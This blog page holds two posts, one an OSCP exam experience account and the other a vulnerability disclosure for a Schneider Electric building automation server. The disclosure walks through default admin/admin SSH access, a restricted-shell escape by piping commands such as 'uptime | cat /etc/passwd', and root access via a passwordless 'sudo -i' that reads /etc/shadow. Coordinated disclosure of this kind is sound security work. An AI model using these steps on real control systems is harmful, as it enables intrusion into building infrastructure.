Thursday, March 10, 2016

My OSCP Experience

Becoming the Stronger version of Self - My OSCP Experience

Today I am proud to announce I have achieved my personal target of attaining OSCP certification.




I am sharing my experiences I had preparing for PWK course and OSCP exam.

Let me start by stating that this one is unique and a worthy challenge. OSCP demands a lot of time and effort. It will test your mettle. It will make you toil. It will push you in the face many times, and you’d have to pull your chin back up - fast - and Try harder.

It is not a piece of cake like most other multiple-choice question based paper certifications. The only way to roast this juicy steak is prepare, learn, practice, and Try harder. Seriously, no shit.

I love penetration testing & am deeply passionate about continuos learning. And OSCP has been the most elusive learning objective for a long time. So, I decided it was time and I registered for the course.

I believe any new challenge is more about preparing mentally first, and then comes everything else - planning, time management, setting milestones, learning, practicing, self-evaluation, learning & practicing more, and then hitting the challenge.

Therefore, before I started, I had set forth 5 affirmations and 3 principles for myself - for working on PWK course and preparing for OSCP:

My Affirmations
  1. I may not know a lot of things and it is Okay - no need to beat myself about it
  2. I am doing PWK to Learn what I do not know
  3. It Is possible to PWN All the boxes in the Lab and Exam networks
  4. This Is worth my effort and time
  5. No matter how hard it is, I Will earn OSCP
My Principles
  1. I will pwn majority of boxes in all the network segments of lab
  2. I will not ask anyone for straight up hints, and / or answers
  3. I will figure out each challenge myself

Students can talk to other students and IRC support guys and ask questions, but there is only one answer you will learn to expect - Try Harder. Rarely will you ever receive a straight answer or a good hint from OffSec support team on irc. That will churn up the frustrations of not knowing stuff, and that Is Good.

But I understand some students like to work together and collaborate on solving the lab network systems and OSCP exam. And that's one way of learning. My take on this is - it's the easy way out, and it's not worth it.

I chose to abide by my 3 principles absolutely and boy, it was so worth it.

When you hit road-blocks, and you will certainly hit them if you choose to follow the principles above, I recommend you continue pushing on - enumerating, researching, enumerating again - and you Will find the solution.

I hit road blocks a few times in the lab. Breaking the principles looked so alluring back then, but I am glad I stuck to them. I did check with irc support guys to see if I was on the right track, & then I would continue on. I figured out the what’s, and hows’ myself. It brings confidence, and what you learn after so many hours all by yourself, you won’t have to try to remember that trick, it will stay naturally with you.

The Lab Environment

The lab environment is a complex, multi-segment network, with a total 4 network segments. We need to learn, and find ways to pwn all these network segments. I pwn’d all (except 4) boxes in these networks. I am confident had I spent more time on those, I would have solved them as well. But, don’t fret over getting all the boxes. If you can get about 30 + boxes, it should be fine.

Also it is very important - during the preparation at least - to surround yourself with positive entities / people - family, friends, peers - who support your belief and effort on this learning road. Second, build self belief in your abilities and achievements. Use these to create a better self-confidence and a drive to help keep you pushing forward.

Planning

I took a 90 day lab access (12 weeks). 12 weeks is enough time to cover the lab and be ready for exam. 

I started the preparations 2-3 weeks before the course start date. I started with Vulnhub and practiced heavily on about a dozen VMs. I learnt a lot from each of them. I Highly recommend getting in the trenches with Vulnhub disks.

I received the course materials a week before the course start - (W0). My next step was to finish off all the lab exercises before the lab access got started (W1). 

I did finish most of the exercises, read up on various topics, and I also prepared up the roofies [notes, tips & techniques, scripts, etc] so I was ready to kick the lab boxes straight in. 

Start W1, I was excited and all charged up. It was awesome to find so many different targets, flavors, services, and challenges associated with them.

I spent around 7-8 hours per day on an average, at times more for about 7 weeks straight (W1-W7). My objective was to learn, practice, pwn, document, and repeat. If you can spend 4-5 hours a day, it should suffice.

Skip if you want
I had been going through a phase of losses at personal front and battling acute depression during the period. I wanted to direct and use my energies towards learning and positive development only. Therefore I spent long nights extending in to late mornings, followed with few hours of sleep, formal work, and repeat.

In about 7 weeks, I had completed nearly all of the boxes in all the four (4) lab networks. At W8, as I look back now, the emotional toll with personal issues had become too heavy and took my health down. I was down for about 2 weeks focusing on the positive energies in my life and rising back up.

Update Plan of Action
At W10, I was feeling much better and jumped back to the labs, and reviewed my work. I had already pwn’d most boxes, and I decided to change the course of action for the remaining 3 weeks.

In W10, W11, and W12, I repeated the challenges at least twice. I pwn’d the boxes afresh, worked the full attack cycle again. I re-did easy boxes, as well as difficult boxes, and for some scenarios, I added new complexities myself. For example, in one of the scenarios, I decided to remove administrative privs from a specific local user and then identified an alternate way to pwn those set of boxes; in another instance, I decided to play with tunneling & chaining across networks, so on.


With these repetitions, I figured out what I had missed on the first round, collected the information pieces from locations I had ignored earlier, and overall, I learnt to fine tune the attack cycle & post exploitation phase.

So, I’d recommend you take out at least one week to repeat practice all the boxes in lab. It is important to keep practicing the steps, and techniques, and fine tune the cycle.

As I did and redid the practice, I was constantly updating my notes, and arsenal. After lab access ended, I cleaned up my notes (KeepNote) once again, added a few new tools, and organized the overall structure of notes.

Having an organized Note structure, will save you a Lot of time and confusion. Same goes for the tools, scripts & binaries. I organized my roofies too, and continued to update them with tips & tricks, techniques, gotchas, when I found something new, & useful.

The Exam
Exam is truly challenging - to say the least.
It made me push my planning, thinking, strategy, techniques’ correlation to attack vector(s) - to the Extreme.

OSCP is the Super Saiyan level exam, compared to other - mere mortal - theory, MCQ based exams.



Do not go in lightly, or casually. This one Exam deserves absolute dedication.

Exam is 24 hours long. You get 5 boxes to pwn. Target is to get administrator / root shell access on all the boxes, collect certain flags. Total scoring is 100 points. You need to score 70 points to pass.

Oh, and one more thing - You get to use Metasploit with a very restricted, specific set of usage conditions, lest you lose your points, and of course no VA scanners are allowed.

After the 24 hours exam, you get another 24 hours to write up a good report, and send it to OffSec team.

Exam boxes are Not in any manner, same or even remotely similar, to the lab boxes. Having said that, if you learn well in the lab, you will know what to employ to 0wn the Exam.

Sharpen the sword well, in the labs, and you will slice through the Exam.

I was able to pwn 4 boxes with full Administrator / root shell access, and the final box with local user access.

Achieving OSCP has been an awesome learning experience, and an extremely fulfilling one. It has helped me grow into a stronger version of my self as a professional pentester.

Thank You mutz!

Wednesday, March 2, 2016

[ICS] Schneider Electric Building Operation Automation Server Multiple Vulnerabilities

[ICS] Schneider Electric Building Operation Automation Server Multiple Vulnerabilities

About

Schneider Electric’s corporate headquarters is located in Paris, France, and it maintains offices in more than 100 countries worldwide.

The affected product, Automation Server, is a building automation system for small and medium-sized buildings. According to Schneider Electric, Automation Server is deployed in the Commercial Facilities sector. Schneider Electric estimates that this product is used worldwide.


Reported affected version:
Schneider Electric Building Operation Automation Server 
Firmware: Server 1.6.1.5000
NAME=SE2Linux
ID=se2linux
PRETTY_NAME=SE2Linux (Schneider Electric Embedded Linux) VERSION_ID=0.2.0.212

Reported on: August 2015
Schneider Electric fix & public disclosure: 
Feb 25, 2016
URL:

Confirmed affected versions: 
Automation Server Series (AS, AS-P), v1.7 and prior

SE Point of Contact: 
Gregory Strauss
I must mention right now, that Greg has been instrumental and very proactive with taking up these issues professionally & bringing them to a closure / fix. Very open to discussion, and ran the entire RFD cycle smoothly. An asset to Schneider Electric.

Public Disclosure:
March 01, 2016

Vulnerabilities
1. Weak credential management
CVE-ID: None [ Mitre, CVE? ]

There are two primary users:
a. root - password is not set by default - this is a problem as we will see later in the vuln findings
- By default, root cannot SSH in.
b. admin - default password is 'admin'
- Anyone can remotely ssh in to the device using default admin/admin login.

The system / application allows a) weak creds to start with, and more importantly, b) vulnerable versions lacks the mechanism to forcefully have the user change the initial password on first use or later. This has been fixed in the latest version.

2. OS Command Injection
CVE-ID: CVE-2016-2278
https://ics-cert.us-cert.gov/advisories/ICSA-16-061-01

After logging in to the device over SSH, the 'admin' user - the only active, administrative user at this point - is provided a restricted shell (msh), which offers a small set of, application- specific functional options.

$ ssh <IP> -l admin 
Password:

Welcome! (use 'help' to list commands) 
admin@box:>

admin@box:> release
NAME=SE2Linux
ID=se2linux
PRETTY_NAME=SE2Linux (Schneider Electric Embedded Linux) VERSION_ID=0.2.0.212

admin@box:>

admin@box:> help
usage: help [command]
Type 'help [command]' for help on a specific command.

Available commands:
exit - exit this session
ps - report a snapshot of the current processes readlog - read log files
reboot - reboot the system
setip - configure the network interface
setlog - configure the logging
setsnmp - configure the snmp service
setsecurity - configure the security
settime - configure the system time
top - display Linux tasks
uptime - tell how long the system has been running release - tell the os release details

Attempting to run any different command will give an error message.

However, this restricted shell functionality (msh) can be bypassed to execute underlying system commands, by appending '| <command>' to any of the above set of commands:

admin@box:> uptime | ls
bin home lost+found root sys config include mnt run tmp dev lib opt sbin usr
etc localization proc share var

At this point, basically you have full (indirect) control over the server.

admin@box:> uptime | cat /etc/passwd 

root:x:0:0:root:/:/bin/sh 
daemon:x:2:2:daemon:/sbin:/bin/false 
messagebus:x:3:3:messagebus:/sbin:/bin/false 
ntp:x:102:102:ntp:/var/empty/ntp:/bin/false 
sshd:x:103:103:sshd:/var/empty:/bin/false 
app:x:500:500:Linux Application:/:/bin/false 
admin:x:1000:1000:Linux User,,,:/:/bin/msh

admin@box:> uptime | cat /etc/group 
root:x:0:
wheel:x:1:admin
daemon:x:2:
messagebus:x:3: 
adm:x:5:admin 
power:x:20:app 
serial:x:21:app 
cio:x:22:app
lon:x:23:app 
daemonsv:x:30:admin,app 
utmp:x:100:
lock:x:101: 
ntp:x:102: 
sshd:x:103: 
app:x:500:admin 
admin:x:1000:admin

3. Privilege Escalation / access to superuser 'root'
CVE-ID: None [ Mitre, CVE? ]

Since this is an administrative user, an attacker can exploit OS command injection to perform a variety of tasks from msh shell. But isn’t it better to get a root shell instead.!

As observed from Issue 1 above, root does not have a password set, and it is possible to use 'sudo -i' and become root.
Note: sudo is not presented / offered to 'admin' in the set of functional options available thru msh. It is required for tech guys / legit admins / SBO admins to manage the AS system and related functionality. Assumption from SE team is, a low-skilled attacker / regular, unsophisticated, non-technical user will not be able to figure it out. If someone does figure it out, he/she will be responsible enough not to go evill.!

admin@box:> sudo -i

We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility. 

Password:

root@box:~> cat /etc/shadow 
root:!:16650:0:99999:7::: 
sshd:!:1:0:99999:7::: 
admin:$6$<hash>:16652:0:99999:7:::

+++++

The Automation Server (AS) is one functional component of the larger, StruxureWare Building Operation platform (SBO) solution / environment. The AS password gets sync’d to SBO application rbac. With the new release, the default AS password will be forcefully changed, and msh has been sufficiently improved to mitigate against command injection.

Issue 3, however, persists. Anyone with access to msh shell, can still drop in to root shell, and have some fun.

In a realistic attack scenario, a threat actor would not stop at one AS box's root shell. Hashes would be dumped, cracked, and will be followed with password attacks on other reachable boxes (workstations, servers, applications, other AS boxes, & SBO application itself), targeting lateral and vertical movement across the 'locked-down', secure network environment. The AS box HAS to talk to SBO server, certain hosts / servers will always be accessible to-from AS box so admins can administer it, root shell will always be a great ally, be it sniffing network traffic for creds, network connections, login usernames, trusted hosts, or be it planting backdoor for persistent access, keystroke logging, data exfil etc. Fun just gets started with the first foothold.

AFAIK, the AS system is not a minimalistic, stripped down linux box, it has an application built into it to offer relevant, feature rich functionality. While the (threats, techniques, procedures) TTPs against it are not new, a widespread use and importantly types of industry sectors which utilize SE SBO/AS solution, make these issues High risk ones.

+++++
Cheers!

Disclaimer

The views, information & opinions expressed in this blog are my own and do not reflect the views of my current or former employers or employees or colleagues.